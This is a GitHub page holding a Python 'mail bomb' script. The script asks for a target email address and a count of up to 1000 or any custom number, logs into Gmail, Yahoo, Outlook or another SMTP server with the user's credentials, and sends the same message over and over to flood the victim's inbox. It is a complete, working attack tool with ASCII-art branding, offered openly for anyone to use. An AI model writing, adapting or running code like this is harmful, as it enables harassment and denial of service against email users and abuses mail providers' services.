-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathmail_bomb.py
More file actions
133 lines (103 loc) · 5 KB
/
Copy pathmail_bomb.py
File metadata and controls
133 lines (103 loc) · 5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
"""
This software was created by Edinson Requena, Feel free to modify, download or copy it. use it for good <3
Instagram: edinsonrequena
Medium: edinsonrequena
Facebook: Edinson Requena
Twitter: requenaea
"""
import smtplib
import sys
class colors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
def draw():
print(colors.GREEN + "*"*20, 'Mail-Bomb', "*"*20)
print(colors.GREEN + '''
███████╗██╗██████╗ ███████╗██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗
██╔════╝██║██╔══██╗██╔════╝██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██╔════╝
█████╗ ██║██████╔╝█████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ███████╗
██╔══╝ ██║██╔══██╗██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚════██║
██║ ██║██║ ██║███████╗╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗███████║
╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
''')
class EmailBomb:
count = 0
def __init__(self):
try:
print(colors.RED + "*"*20, "Initializing software", "*"*20)
self.infect = input(colors.GREEN + 'Enter the email to bomb: ')
self.mode = int(input(colors.GREEN + 'Enter the number of bombs (1,2,3,4) || 1:(1000) 2:(500) 3:(250) 4:(custom) <: '))
if int(self.mode) > int(4) or int(self.mode) < int(1):
print("ERROR: That option doesn't exist. Try again.")
sys.exit(1)
except Exception as e:
print(f'ERROR: {e}')
def bomb(self):
try:
print(colors.RED + '*'*20, 'Customize your bomb', "*"*20)
self.amount = None
if self.mode == int(1):
self.amount = int(1000)
elif self.mode == int(2):
self.amount = int(500)
elif self.mode == int(3):
self.amount = int(250)
else:
self.amount = int(input(colors.GREEN + 'Choose a CUSTOM amount: '))
print(colors.RED + f'\n You have selected BOMB mode: {self.mode} and {self.amount} emails')
except Exception as e:
print(f'ERROR: {e}')
def email(self):
try:
print(colors.RED + "*"*20, 'Setting up emai', "*"*20)
self.server = input(colors.GREEN + 'Enter email server / or select premade options - 1:Gmail 2:Yahoo 3:Outlook <: ')
premade = ['1', '2', '3']
default_port = True
if self.server not in premade:
default_port = False
self.port = int(input(colors.GREEN + 'Enter a valid port number: '))
if default_port == True:
self.port = int(587)
if self.server == '1':
self.server = 'smtp.gmail.com'
elif self.server == '2':
self.server = 'smtp.mail.yahoo.com'
elif self.server == '3':
self.server = 'smtp-mail.outlook.com'
self.fromAddr = input(colors.GREEN + 'Enter your email address: ')
self.fromPwd = input(colors.GREEN + 'Enter your password: ')
self.subject = input(colors.GREEN + 'Enter subject: ')
self.message = input(colors.GREEN + 'Enter message: ')
self.msg = '''From: %s\nTo: %s\nSubject %s\n%s\n
''' % (self.fromAddr, self.infect, self.subject, self.message)
self.s = smtplib.SMTP(self.server, self.port)
self.s.ehlo()
self.s.starttls()
self.s.ehlo()
self.s.login(self.fromAddr, self.fromPwd)
except Exception as e:
print(f'ERROR: {e}')
def send(self):
try:
self.s.sendmail(self.fromAddr, self.infect, self.msg)
self.count +=1
print(colors.YELLOW + f'BOMB: {self.count}')
except Exception as e:
print(f'ERROR: {e}')
def fireworks(self):
print(colors.RED + '\n THIS WILL BE FIREWORKS...')
for email in range(self.amount+1):
self.send()
self.s.close()
print(colors.RED + '\n The target was bombed')
sys.exit(0)
class BombApp:
def execute(self):
draw()
bomb = EmailBomb()
bomb.bomb()
bomb.email()
bomb.fireworks()
if __name__=='__main__':
BombApp().execute()